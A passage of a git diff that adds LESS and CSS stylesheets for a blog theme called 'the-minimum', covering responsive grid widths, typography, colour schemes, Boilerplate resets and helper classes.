max-width: 100%; } +} + +/* + Wide Smartphone +*/ + +@media only screen and (min-width: 480px) { + + .the-header { + .unit-inner { width: @5cols; } + .logo a { + font-size: 42px; + line-height: 52px; + letter-spacing: -1px; + } + .nav-global { + margin-top: @line-height / @em; + letter-spacing: -0.31em; + *letter-spacing: normal; + word-spacing: -0.43em; + list-style: none; + padding-left: 0; + .home:after { + margin-left: 16px; + content: "/"; + } + li { + display: inline-block; + *display: inline; + zoom: 1; + line-height: normal; + letter-spacing: normal; + margin-right: 16px; + word-spacing: normal; + vertical-align: middle; + &:last-child { margin-right: 0; } + } + } + } // the-header + + .unit-article { + + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @5cols; } + .unit-foot { + .gotop { margin-top: @line-height / @em; } + } + + } // .unit-article + + .layout-page { + + .unit-body { + .unit-body-inner { width: @5cols; } + .article-list { width: @5cols; } + } + + } // .layout-page + + .the-footer { + + .unit-foot { width: @5cols; } + + } // .the-footer + +} // min-width: 480px + +/* + Tablet +*/ + +@media only screen and (min-width: 768px) { + + .the-header { + .unit-inner { width: @8cols; } + } // the-header + + .unit-article { + + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @8cols; } + + .unit-head-inner { + .meta { + margin-bottom: 0; + text-align: right; + width: @4cols; + float: right; + } + } + + } // .the-article + + .layout-page { + + .unit-body { + .unit-body-inner { width: @8cols; } + .article-list { + width: @8cols; + .meta { + margin-bottom: 0; + text-align: right; + width: @4cols; + float: right; + } + } + } + + } // .layout-page + + .the-footer { + + .unit-foot { width: @8cols; } + + } // the-footer + +} // min-width: 768px + +/* + Not that old computer layout +*/ + +@media only screen and (min-width: 1280px) { + + .the-header { + .unit-inner { width: @11cols; } + .logo { + width: @5cols; + float: left; + } + .nav-global { + margin-top: 21px; + text-align: right; + width: @5cols; + float: right; + } + } // the-header + + .unit-article { + + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @11cols; } + .unit-head-inner, .entry-content, .misc-content { + h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { margin-right: 270px; } + } + + .unit-head-inner { + .meta { + margin-bottom: 0; + width: @4cols; + } + } + + .unit-foot { + .pagination { + float: left; + width: @7cols; + } + .gotop { + float: right; + margin-top: 0; + text-align: right; + width: @4cols; + } + } + + } // .unit-article + + .layout-page { + + .unit-body { + .unit-body-inner { width: @8cols; } + .article-list { + width: @8cols; + .meta { width: @4cols; } + } + } + + } // .layout-page + + .the-footer { + + .unit-foot { width: @11cols; } + + } // .the-footer + +} // min-width: 1280px + +/* + Huge-screen layout +*/ + +@media only screen and (min-width: 1410px) { + + .the-header { + .unit-inner { width: @16cols; } + .logo { width: @8cols; } + .nav-global { width: @8cols; } + } // the-header + + .unit-article { + + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @16cols; } + .unit-head-inner, .entry-content, .misc-content { + h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { + margin-left: 360px; + margin-right: 360px; + } + img.huge { margin-left: -360px; } + } + + .unit-head-inner { + .meta { width: @4cols; } + } + + .unit-foot { + .pagination { width: @10cols; } + .gotop { width: @6cols; } + } + + } // .unit-article + + .layout-page { + + .unit-body { + .unit-body-inner { width: @8cols; } + .article-list { + width: @8cols; + .meta { width: @4cols; } + } + } + + } // .layout-page + + .the-footer { + + .unit-foot { width: @16cols; } + .unit-inner { + h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { + margin-left: 360px; + margin-right: 360px; + } + } + + } // .the-footer + +} // min-width: 1410px diff --git a/assets/themes/the-minimum/css/_less-base.less b/assets/themes/the-minimum/css/_less-base.less new file mode 100644 index 0000000..07dcecd --- /dev/null +++ b/assets/themes/the-minimum/css/_less-base.less @@ -0,0 +1,189 @@ +/* +Frameless <http://framelessgrid.com/> +by Joni Korpi <http://jonikorpi.com/> +licensed under CC0 <http://creativecommons.org/publicdomain/zero/1.0/> + +No styleguide reference. +*/ + +@font-size: 16; // Your base font-size in pixels +@line-height: 26; // Your base line-height in pixels +@em: @font-size*1em; // Shorthand for outputting ems, e.g. "12/@em" + +@column: 60; // The column-width of your grid in pixels +@gutter: 30; // The gutter-width of your grid in pixels + +// Column-widths in variables, in ems + + @1cols: ( 1 * (@column + @gutter) - @gutter) / @em; @1col: @1cols; // 60px + @2cols: ( 2 * (@column + @gutter) - @gutter) / @em; // 150px + @3cols: ( 3 * (@column + @gutter) - @gutter) / @em; // 240px + @4cols: ( 4 * (@column + @gutter) - @gutter) / @em; // 330px + @5cols: ( 5 * (@column + @gutter) - @gutter) / @em; // 420px + @6cols: ( 6 * (@column + @gutter) - @gutter) / @em; // 510px + @7cols: ( 7 * (@column + @gutter) - @gutter) / @em; // 600px + @8cols: ( 8 * (@column + @gutter) - @gutter) / @em; // 690px + @9cols: ( 9 * (@column + @gutter) - @gutter) / @em; // 780px +@10cols: (10 * (@column + @gutter) - @gutter) / @em; // 870px +@11cols: (11 * (@column + @gutter) - @gutter) / @em; // 960px +@12cols: (12 * (@column + @gutter) - @gutter) / @em; // 1050px +@13cols: (13 * (@column + @gutter) - @gutter) / @em; // 1140px +@14cols: (14 * (@column + @gutter) - @gutter) / @em; // 1230px +@15cols: (15 * (@column + @gutter) - @gutter) / @em; // 1320px +@16cols: (16 * (@column + @gutter) - @gutter) / @em; // 1410px + +// Column-widths in a function, in ems + +.width (@cols:1) { width: (@cols * (@column + @gutter) - @gutter) / @em; } + +/* +Font families + +No styleguide reference. +*/ + +@font-stack: Frutiger, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; +@webfont: junctionregularRegular, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; + +/* +Base font size should be larger than 16px. +Calculation should be done via http://j.mp/rNg5uA + +No styleguide reference. +*/ + +body { + font-family: @font-stack; + font-size: @font-size / 16*1em; + line-height: @line-height / @em; +} + +/* +Font size setting +Using Golden ratio section (Caliculated via http://j.mp/sB6oxM): +109.657 6.854 843.515 * h1 +82.241 5.14 632.623 +67.773 4.236 521.331 +50.829 3.177 390.992 +41.887 2.618 322.208 * h2 +31.415 1.963 241.654 +25.888 1.618 199.138 * h3 +19.416 1.214 149.354 * h4 +16.000 1 123.077 * Base font size +12.000 0.75 92.308 * Minimum font size +Vertical Rhythm is caluculated via http://j.mp/sUvKuN + +No styleguide reference. +*/ + +h1, h2, h3, h4, h5, h6 { + font-family: @webfont; + font-weight: bold; +} + +h1, .h1 { + font-size: 42px; + line-height: 52px; + margin-top: 52px; + margin-bottom: 26px; + letter-spacing: -1px; +} +h2, .h2 { + font-size: 42px; + line-height: 52px; + margin-top: 52px; + margin-bottom: 26px; + letter-spacing: -1px; +} +h3, .h3 { + font-size: 26px; + line-height: 26px; + margin-top: 26px; + margin-bottom: 26px; +} +h4, .h4 { + font-size: 20px; + line-height: 26px; + margin-top: 26px; + margin-bottom: 26px; +} +p, ul, ol, dl, img { + margin-top: 0; + margin-bottom: @line-height / @em; +} +small, .small, aside { font-size: 0.75 * (@font-size / @em); } +.font-size-default { font-size: @font-size / @em; } + +blockquote { font-weight: bold; } +blockquote cite { font-weight: normal; } +strong { font-weight: bold; } +em { font-weight: bold; } + +/* +Color schemes + +No styleguide reference. +*/ + +/* solarized - http://j.mp/s9Xuw9 + +@base03: #002b36; +@base02: #073642; +@base01: #586e75; +@base00: #657b83; +@base0: #839496; +@base1: #93a1a1; +@base2: #eee8d5; +@base3: #fdf6e3; +@yellow: #b58900; +@orange: #cb4b16; +@red: #dc322f; +// @magenta: #d33682; +@violet: #6c71c4; +@blue: #268bd2; +@cyan: #2aa198; +@green: #859900; + +*/ + +// Tomorrow Night - http://j.mp/wvO4U4 + +@base03: #2d2d2d; +@base02: #393939; +@base01: #515151; +@base0: #cccccc; +@subtle: #999999; +@yellow: #ffcc66; +@orange: #f99157; +@red: #f2777a; +@violet: #cc99cc; +@blue: #6699cc; +@cyan: #66cccc; +@green: #99cc99; + +// Texture + +@noise-100-90-5: "/assets/themes/the-minimum/skin/100-90-5-monochrome.png"; // http://noisepng.com/ +@cross-hair: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAR0lEQVQYGYVOQQoAIAizHuJXpafqR4wFCw9Ggji2OSbubpkp3UI7Qmcidz9JIKniAYITEQasqovcJHhelquxFf9LVjfTeKFtWPOYLQ+xHqUAAAAASUVORK5CYII="; // http://ptrn.it/AmYV5d + +/* Junction Font + * http://www.theleagueofmoveabletype.com/ + * Using for Logo and headers +*/ + +@font-face { + font-family: 'junctionregularRegular'; + src: url('/assets/themes/the-minimum/font/Junction-webfont.eot'); + src: url('/assets/themes/the-minimum/font/Junction-webfont.eot?#iefix') format('embedded-opentype'), + url('/assets/themes/the-minimum/font/Junction-webfont.woff') format('woff'), + url('/assets/themes/the-minimum/font/Junction-webfont.ttf') format('truetype'), + url('/assets/themes/the-minimum/font/Junction-webfont.svg#junctionregularRegular') format('svg'); + font-weight: normal !important; + font-style: normal; +} + +/* +LESS helper + +No styleguide reference. +*/ diff --git a/assets/themes/the-minimum/css/base.css b/assets/themes/the-minimum/css/base.css new file mode 100644 index 0000000..4af02b8 --- /dev/null +++ b/assets/themes/the-minimum/css/base.css @@ -0,0 +1,153 @@ +/* +HTML5 display definitions from [HTML5 Boilerplate](http://j.mp/rP0wmY) + +No styleguide reference. +*/ + +article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display: block; } +audio, canvas, video { display: inline-block; *display: inline; *zoom: 1; } +audio:not([controls]) { display: none; } +[hidden] { display: none; } + +/* +Base from [HTML5 Boilerplate](http://j.mp/rP0wmY) +- Correct text resizing oddly in IE6/7 when body font-size is set using em units +- Force vertical scrollbar in non-IE +- Prevent iOS text size adjust on device orientation change, without disabling user zoom: h5bp.com/g +- Remove text-shadow in selection highlight: h5bp.com/i +- These selection declarations have to be separate +- Also: hot pink! (or customize the background color to match your design) + +No styleguide reference. +*/ + +html { font-size: 100%; overflow-y: scroll; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } +body { margin: 0; font-size: 1em; line-height: 1.4; -webkit-tap-highlight-color: rgba(255,0,0, 0.62); } +body, button, input, select, textarea { font-family: sans-serif; } +::-moz-selection { background: #073642; color: #fff; text-shadow: none; } +::selection { background: #073642; color: #fff; text-shadow: none; } + +/* +Links from [HTML5 Boilerplate](http://j.mp/rP0wmY) + +No styleguide reference. +*/ + +a { color: #00e; } +a:visited { color: #551a8b; } +a:hover { color: #06e; } +a:focus { outline: thin dotted; } +a:hover, a:active { outline: 0; } + +/* +Typography from [HTML5 Boilerplate](http://j.mp/rP0wmY) + +No styleguide reference. +*/ + +abbr[title] { border-bottom: 1px dotted; } +b, strong { font-weight: bold; } +blockquote { margin: 1em 40px; } +dfn { font-style: italic; } +hr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; } +ins { background: #ff9; color: #000; text-decoration: none; } +mark { background: #ff0; color: #000; font-style: italic; font-weight: bold; } +/* Redeclare monospace font family: h5bp.com/j */ +pre, code, kbd, samp { font-family: monospace, serif; _font-family: 'courier new', monospace; font-size: 1em; } +/* Improve readability of pre-formatted text in all browsers */ +pre { white-space: pre; white-space: pre-wrap; word-wrap: break-word; } +q { quotes: none; } +q:before, q:after { content: ""; content: none; } +small { font-size: 85%; } +sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } +sup { top: -0.5em; } +sub { bottom: -0.25em; } + +/* +Lists from [HTML5 Boilerplate](http://j.mp/rP0wmY) + +No styleguide reference. +*/ + +ul, ol { margin: 0; padding: 0 0 0 40px; } +dd { margin: 0 0 0 40px; } +nav ul, nav ol { list-style: none; list-style-image: none; margin: 0; padding: 0; } + +/* +Embedded content from [HTML5 Boilerplate](http://j.mp/rP0wmY) +- Improve image quality when scaled in IE7: h5bp.com/d +- Remove the gap between images and borders on image containers: h5bp.com/e + +No styleguide reference. +*/ + +img { border: 0; -ms-interpolation-mode: bicubic; vertical-align: middle; } +svg:not(:root) { overflow: hidden; } /* Correct overflow not hidden in IE9 */ + +/* +Figures from [HTML5 Boilerplate](http://j.mp/rP0wmY) + +No styleguide reference. +*/ + +figure { margin: 0; } + +/* +Forms from [HTML5 Boilerplate](http://j.mp/rP0wmY) +See inline comments for detail + +No styleguide reference. +*/ + +form { margin: 0; } +fieldset { border: 0; margin: 0; padding: 0; } +/* Indicate that 'label' will shift focus to the associated form element */ +label { cursor: pointer; } +/* + * 1. Correct color not inheriting in IE6/7/8/9 + * 2. Correct alignment displayed oddly in IE6/7 + */ +legend { border: 0; *margin-left: -7px; padding: 0; } +/* + * 1. Correct font-size not inheriting in all browsers + * 2. Remove margins in FF3/4 S5 Chrome + * 3. Define consistent vertical alignment display in all browsers + */ +button, input, select, textarea { font-size: 100%; margin: 0; vertical-align: baseline; *vertical-align: middle; } +/* + * 1. Define line-height as normal to match FF3/4 (set using !important in the UA stylesheet) + */ +button, input { line-height: normal; } +/* + * 1. Display hand cursor for clickable form elements + * 2. Allow styling of clickable form elements in iOS + * 3. Correct inner spacing displayed oddly in IE7 (doesn't effect IE6) + */ +button, input[type="button"], input[type="reset"], input[type="submit"] { cursor: pointer; -webkit-appearance: button; *overflow: visible; } +/* + * Consistent box sizing and appearance + */ +input[type="checkbox"], input[type="radio"] { box-sizing: border-box; padding: 0; } +input[type="search"] { -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box; } +input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } +/* + * Remove inner padding and border in FF3/4: h5bp.com/l + */ +button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } +/* + * 1. Remove default vertical scrollbar in IE6/7/8/9 + * 2. Allow only vertical resizing + */ +textarea { overflow: auto; vertical-align: top; resize: vertical; } +/* Colors for form validity */ +input:valid, textarea:valid { } +input:invalid, textarea:invalid { background-color: #f0dddd; } + +/* +Tables from [HTML5 Boilerplate](http://j.mp/rP0wmY) + +No styleguide reference. +*/ + +table { border-collapse: collapse; border-spacing: 0; } +td { vertical-align: top; } diff --git a/assets/themes/the-minimum/css/helper.css b/assets/themes/the-minimum/css/helper.css new file mode 100644 index 0000000..c4a4555 --- /dev/null +++ b/assets/themes/the-minimum/css/helper.css @@ -0,0 +1,48 @@ +--- +--- + +/* +helper.css contains non-semantic helper classes +This must be the last file to import + +No styleguide reference. +*/ + +/* For image replacement */ +.ir { display: block; border: 0; text-indent: -999em; overflow: hidden; background-color: transparent; background-repeat: no-repeat; text-align: left; direction: ltr; *line-height: 0; } +.ir br { display: none; } +/* Hide from both screenreaders and browsers: h5bp.com/u */ +.hidden { display: none !important; visibility: hidden; } +/* Hide only visually, but have it available for screenreaders: h5bp.com/v */ +.visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } +/* Extends the .visuallyhidden class to allow the element to be focusable when navigated to via the keyboard: h5bp.com/p */ +.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } +/* Hide visually and from screenreaders, but maintain layout */ +.invisible { visibility: hidden; } +/* Firefox had different box-sizing for hr. See: http://jsfiddle.net/sFgt7/ */ +hr { -moz-box-sizing: content-box; } +/* Contain floats: h5bp.com/q */ +.clearfix:before, +.clearfix:after, +.cf:before, +.cf:after, +.hasGrid:before, +.hasGrid:after, +.unit-inner:before, +.unit-inner:after { content: ""; display: table; } +.clearfix:after, +.cf:after, +.hasGrid:after, +.unit-inner:after { clear: both; } +.clearfix, +.cf, +.hasGrid, +.unit-inner { *zoom: 1; } +.left { + *display: inline; + float: left; +} +.right { + *display: inline; + float: right; +} diff --git a/assets/themes/the-minimum/css/module.css b/assets/themes/the-minimum/css/module.css new file mode 100644 index 0000000..507a140 --- /dev/null +++ b/assets/themes/the-minimum/css/module.css @@ -0,0 +1,71 @@ +/* +Base .mod module from http://j.mp/svs81k + +HTML should look like this and .bd is required: + <div class="mod"> + <div class="inner"> + <div class="hd"></div> + <div class="bd"></div> + <div class="ft"></div> + </div><!-- inner --> + </div><!-- mod --> + +No styleguide reference. +*/ + +.mod .inner { position:relative; } +.mod .bd, .mod .ft, .mod .hd { overflow:hidden; *overflow:visible; zoom:1; } + +/* +.media module from http://j.mp/tQCTa8 +Since .media uses overflow: hidden, box-shadow needs padding to render correctly. +Using dropdown or pop over should be problematic. Anything try to go outside of this module box should have problem. +HTML should look like this and .media-left or .media-right and .bd is required: + + <div class="media"> + <a href="#" class="media-left"><img src="#" alt=""></a> + <a href="#" class="media-right"><img src="#" alt=""></a> + <div class="bd"></div> + </div><!-- media --> + +No styleguide reference. +*/ + +.media { overflow:hidden; *overflow:visible; zoom:1; } +.media .media-left { float:left; margin-right: 14px; } +.media .img img { display:block; } +.media .media-right { float:right; margin-left: 14px; } +.media .bd, .media .ft, .media .hd { overflow:hidden; *overflow:visible; zoom:1; } + +/* +List modules + +.list-linear - list line up horizontally +HTML: +<ul class="list-linear"> + <li></li> + <li></li> + <li></li> +</ul> + +No styleguide reference. +*/ + +.list-linear { + letter-spacing: -0.31em; + *letter-spacing: normal; + word-spacing: -0.43em; + list-style: none; + padding-left: 0; +} +.list-linear li { + display: inline-block; + *display: inline; + zoom: 1; + line-height: normal; + letter-spacing: normal; + margin-right: 16px; + word-spacing: normal; + vertical-align: middle; +} +.list-linear li:last-child { margin-right: 0; } diff --git a/assets/themes/the-minimum/css/style.css b/assets/themes/the-minimum/css/style.css new file mode 100644 index 0000000..aed76c6 --- /dev/null +++ b/assets/themes/the-minimum/css/style.css @@ -0,0 +1,804 @@ +@import "base.css"; + +@import "module.css"; + +@import "syntaxhighlighter.css"; + +@import "helper.css"; +/* +Frameless <http://framelessgrid.com/> +by Joni Korpi <http://jonikorpi.com/> +licensed under CC0 <http://creativecommons.org/publicdomain/zero/1.0/> + +No styleguide reference. +*/ +/* +Font families + +No styleguide reference. +*/ +/* +Base font size should be larger than 16px. +Calculation should be done via http://j.mp/rNg5uA + +No styleguide reference. +*/ +body { + font-family: Frutiger, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; + font-size: 1em; + line-height: 1.625em; +} +/* +Font size setting +Using Golden ratio section (Caliculated via http://j.mp/sB6oxM): +109.657 6.854 843.515 * h1 +82.241 5.14 632.623 +67.773 4.236 521.331 +50.829 3.177 390.992 +41.887 2.618 322.208 * h2 +31.415 1.963 241.654 +25.888 1.618 199.138 * h3 +19.416 1.214 149.354 * h4 +16.000 1 123.077 * Base font size +12.000 0.75 92.308 * Minimum font size +Vertical Rhythm is caluculated via http://j.mp/sUvKuN + +No styleguide reference. +*/ +h1, +h2, +h3, +h4, +h5, +h6 { + font-family: junctionregularRegular, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; + font-weight: bold; +} +h1, .h1 { + font-size: 42px; + line-height: 52px; + margin-top: 52px; + margin-bottom: 26px; + letter-spacing: -1px; +} +h2, .h2 { + font-size: 42px; + line-height: 52px; + margin-top: 52px; + margin-bottom: 26px; + letter-spacing: -1px; +} +h3, .h3 { + font-size: 26px; + line-height: 26px; + margin-top: 26px; + margin-bottom: 26px; +} +h4, .h4 { + font-size: 20px; + line-height: 26px; + margin-top: 26px; + margin-bottom: 26px; +} +p, +ul, +ol, +dl, +img { + margin-top: 0; + margin-bottom: 1.625em; +} +small, .small, aside { + font-size: 0.75em; +} +.font-size-default { + font-size: 1em; +} +blockquote { + font-weight: bold; +} +blockquote cite { + font-weight: normal; +} +strong { + font-weight: bold; +} +em { + font-weight: bold; +} +/* +Color schemes + +No styleguide reference. +*/ +/* solarized - http://j.mp/s9Xuw9 + +@base03: #002b36; +@base02: #073642; +@base01: #586e75; +@base00: #657b83; +@base0: #839496; +@base1: #93a1a1; +@base2: #eee8d5; +@base3: #fdf6e3; +@yellow: #b58900; +@orange: #cb4b16; +@red: #dc322f; +// @magenta: #d33682; +@violet: #6c71c4; +@blue: #268bd2; +@cyan: #2aa198; +@green: #859900; + +*/ +/* Junction Font + * http://www.theleagueofmoveabletype.com/ + * Using for Logo and headers +*/ +@font-face { + font-family: 'junctionregularRegular'; + src: url('/assets/themes/the-minimum/font/Junction-webfont.eot'); + src: url('/assets/themes/the-minimum/font/Junction-webfont.eot?#iefix') format('embedded-opentype'), url('/assets/themes/the-minimum/font/Junction-webfont.woff') format('woff'), url('/assets/themes/the-minimum/font/Junction-webfont.ttf') format('truetype'), url('/assets/themes/the-minimum/font/Junction-webfont.svg#junctionregularRegular') format('svg'); + font-weight: normal !important; + font-style: normal; +} +/* +LESS helper + +No styleguide reference. +*/ +/* LESS VARIABLES +--------------------------------------------------------------------------------- */ +/* GLOBAL +--------------------------------------------------------------------------------- */ +html { + background-color: #ffffff; + color: #2d2d2d; +} +/* LINK */ +a:link { + color: #2d2d2d; + text-decoration: none; +} +a:visited { + color: #141414; + text-decoration: none; +} +a:hover { + color: #474747; + text-decoration: none; +} +/* HIGHLIGHTER */ +pre { + margin-bottom: 1.625em; +} +pre { + color: #f2f2f2; + background-color: #2d2d2d; + border: 1px solid #2d2d2d; + font-family: "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; + margin-left: 0; + margin-right: 0; + padding: 1.625em; + overflow: auto; +} +/* meta */ +/* HEADER +--------------------------------------------------------------------------------- */ +.the-header .logo { + font-family: junctionregularRegular, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; + margin: 0; +} +.the-header .logo a:visited { + color: #2d2d2d; +} +.the-header .nav-global { + text-transform: uppercase; +} +.the-header .nav-global .forkme { + position: relative; + top: 2px; +} +/* MAIN +--------------------------------------------------------------------------------- */ +.unit-article .unit-article-inner header { + background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png'); + background-repeat: repeat; + background-position: 0 0; + background-color: #BADA55; + margin-bottom: 1.625em; + padding-top: 1.625em; + padding-bottom: 1.625em; +} +.unit-article .unit-article-inner header h1 { + color: #2d2d2d; + margin-top: 0; + margin-bottom: 0; +} +.unit-article .unit-article-inner .entry-content h2, +.unit-article .unit-article-inner .entry-content h3, +.unit-article .unit-article-inner .entry-content h4, +.unit-article .unit-article-inner .entry-content h5, +.unit-article .unit-article-inner .entry-content h6 { + color: #2d2d2d; +} +.unit-article .unit-article-inner .entry-content h2 a:link, +.unit-article .unit-article-inner .entry-content h3 a:link, +.unit-article .unit-article-inner .entry-content h4 a:link, +.unit-article .unit-article-inner .entry-content h5 a:link, +.unit-article .unit-article-inner .entry-content h6 a:link { + color: #2d2d2d; + border: 0; +} +.unit-article .unit-article-inner .entry-content h2 a:visited, +.unit-article .unit-article-inner .entry-content h3 a:visited, +.unit-article .unit-article-inner .entry-content h4 a:visited, +.unit-article .unit-article-inner .entry-content h5 a:visited, +.unit-article .unit-article-inner .entry-content h6 a:visited { + color: #141414; + border: 0; +} +.unit-article .unit-article-inner .entry-content h2 a:hover, +.unit-article .unit-article-inner .entry-content h3 a:hover, +.unit-article .unit-article-inner .entry-content h4 a:hover, +.unit-article .unit-article-inner .entry-content h5 a:hover, +.unit-article .unit-article-inner .entry-content h6 a:hover { + color: #474747; + border: 0; +} +.unit-article .unit-article-inner .entry-content:first-child h2, +.unit-article .unit-article-inner .entry-content:first-child h3, +.unit-article .unit-article-inner .entry-content:first-child h4, +.unit-article .unit-article-inner .entry-content:first-child h5, +.unit-article .unit-article-inner .entry-content:first-child h6 { + margin-top: 0; +} +.unit-article .unit-article-inner a:link { + border-bottom: 1px dotted #99cc99; +} +.unit-article .unit-article-inner a:visited { + border-bottom: 1px dotted #77bb77; +} +.unit-article .unit-article-inner a:hover { + border-bottom: 1px dotted #bbddbb; +} +.unit-article .unit-article-inner blockquote { + border-left: 1em solid rgba(21, 25, 25, 0.8); + padding-left: 1em; +} +.unit-article .unit-article-inner blockquote p { + margin-left: 0; + margin-right: 0; +} +.unit-article .unit-article-inner ul, .unit-article .unit-article-inner ol, .unit-article .unit-article-inner dl { + padding-left: 0; +} +.unit-article .unit-article-inner ul { + list-style: square; +} +.unit-article .unit-article-inner ol { + list-style: decimal; +} +.unit-article .unit-article-inner li h1, +.unit-article .unit-article-inner dt h1, +.unit-article .unit-article-inner dd h1, +.unit-article .unit-article-inner li h2, +.unit-article .unit-article-inner dt h2, +.unit-article .unit-article-inner dd h2, +.unit-article .unit-article-inner li h3, +.unit-article .unit-article-inner dt h3, +.unit-article .unit-article-inner dd h3, +.unit-article .unit-article-inner li h4, +.unit-article .unit-article-inner dt h4, +.unit-article .unit-article-inner dd h4, +.unit-article .unit-article-inner li h5, +.unit-article .unit-article-inner dt h5, +.unit-article .unit-article-inner dd h5, +.unit-article .unit-article-inner li p, +.unit-article .unit-article-inner dt p, +.unit-article .unit-article-inner dd p, +.unit-article .unit-article-inner li ul, +.unit-article .unit-article-inner dt ul, +.unit-article .unit-article-inner dd ul, +.unit-article .unit-article-inner li ol, +.unit-article .unit-article-inner dt ol, +.unit-article .unit-article-inner dd ol, +.unit-article .unit-article-inner li dl, +.unit-article .unit-article-inner dt dl, +.unit-article .unit-article-inner dd dl, +.unit-article .unit-article-inner li blockquote, +.unit-article .unit-article-inner dt blockquote, +.unit-article .unit-article-inner dd blockquote, +.unit-article .unit-article-inner li .hasGrid, +.unit-article .unit-article-inner dt .hasGrid, +.unit-article .unit-article-inner dd .hasGrid { + margin-left: 0; + margin-right: 0; +} +.unit-article .unit-article-inner p code, .unit-article .unit-article-inner li code { + margin: 0 2px; + padding: 2px 5px; + white-space: nowrap; + border: 1px solid #CCC; + background-color: #F8F8F8; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + -moz-background-clip: padding; + -webkit-background-clip: padding-box; + background-clip: padding-box; +} +.unit-article .unit-article-inner img { + display: block; + margin-left: auto; + margin-left: auto; +} +.unit-article .unit-article-inner img.left { + margin-right: 16px; +} +.unit-article .unit-article-inner img.right { + margin-left: 16px; +} +.unit-article .unit-article-inner img.huge { + position: relative; +} +.unit-article .unit-article-inner .date-publish { + margin-bottom: 0; +} +.unit-article .unit-article-inner .list-linear .list-head { + margin-right: 4px; +} +.unit-article .unit-article-inner .list-category { + margin-bottom: 0; + text-transform: capitalize; +} +.unit-article .unit-article-inner .list-tag { + text-transform: capitalize; +} +.unit-article .unit-article-inner .unit-foot { + background: #4d4d4d; + color: #fafafa; + padding-top: 1.625em; + padding-bottom: 1.625em; + position: relative; +} +.unit-article .unit-article-inner .unit-foot a:link { + color: #fafafa; +} +.unit-article .unit-article-inner .unit-foot a:visited { + color: #fafafa; +} +.unit-article .unit-article-inner .unit-foot a:hover { + color: #ffffff; +} +.unit-article .unit-article-inner .unit-foot nav ul { + list-style: none; +} +.unit-article .unit-article-inner .unit-foot nav ul li { + display: inline; +} +.unit-article .unit-article-inner .unit-foot .gotop { + margin-bottom: 0; +} +/* post & page */ +/* FOOTER +----------------------------------------------- */ +.the-footer { + background-color: #1a1a1a; + background-color: rgba(21, 25, 25, 0.8); + color: #fafafa; + color: rgba(250, 250, 250, 0.8); + padding-bottom: 1.625em; +} +.the-footer a:link { + color: #99cc99; + border: 0; +} +.the-footer a:visited { + color: #77bb77; + border: 0; +} +.the-footer a:hover { + color: #bbddbb; + border: 0; +} +.the-footer ul { + list-style: square; + padding-left: 1em; +} +.the-footer address { + font-style: normal; +} +.the-footer .license { + clear: both; +} +.the-footer .license p { + margin-bottom: 0; +} +.the-header .unit-inner { + width: 15em; + margin-top: 1.625em; + margin-bottom: 1.625em; + margin-left: auto; + margin-right: auto; +} +.the-header .logo a { + font-size: 32px; + line-height: 42px; +} +.unit-article .unit-head-inner, +.unit-article .entry-content, +.unit-article .misc-content, +.unit-article .unit-foot-inner { + width: 15em; + margin-left: auto; + margin-right: auto; +} +.unit-article .unit-head-inner .meta { + margin-bottom: 1.625em; +} +.layout-page .unit-body .unit-body-inner { + width: 15em; + margin-left: auto; + margin-right: auto; +} +.layout-page .unit-body .article-list .meta { + margin-bottom: 1.625em; +} +.the-footer .unit-foot { + width: 15em; + margin-left: auto; + margin-right: auto; +} +/* + IE +*/ +.ie .the-header .unit-inner { + width: 60em; + margin-top: 1.625em; + margin-bottom: 1.625em; + margin-left: auto; + margin-right: auto; +} +.ie .the-header .logo { + width: 26.25em; + float: left; +} +.ie .the-header .nav-global { + margin-top: 50px; + text-align: right; + width: 26.25em; + float: right; +} +.ie .unit-article .unit-head-inner, +.ie .unit-article .entry-content, +.ie .unit-article .misc-content, +.ie .unit-article .unit-foot-inner { + width: 60em; + margin-left: auto; + margin-right: auto; +} +.ie .unit-article .unit-head-inner h1, +.ie .unit-article .entry-content h1, +.ie .unit-article .misc-content 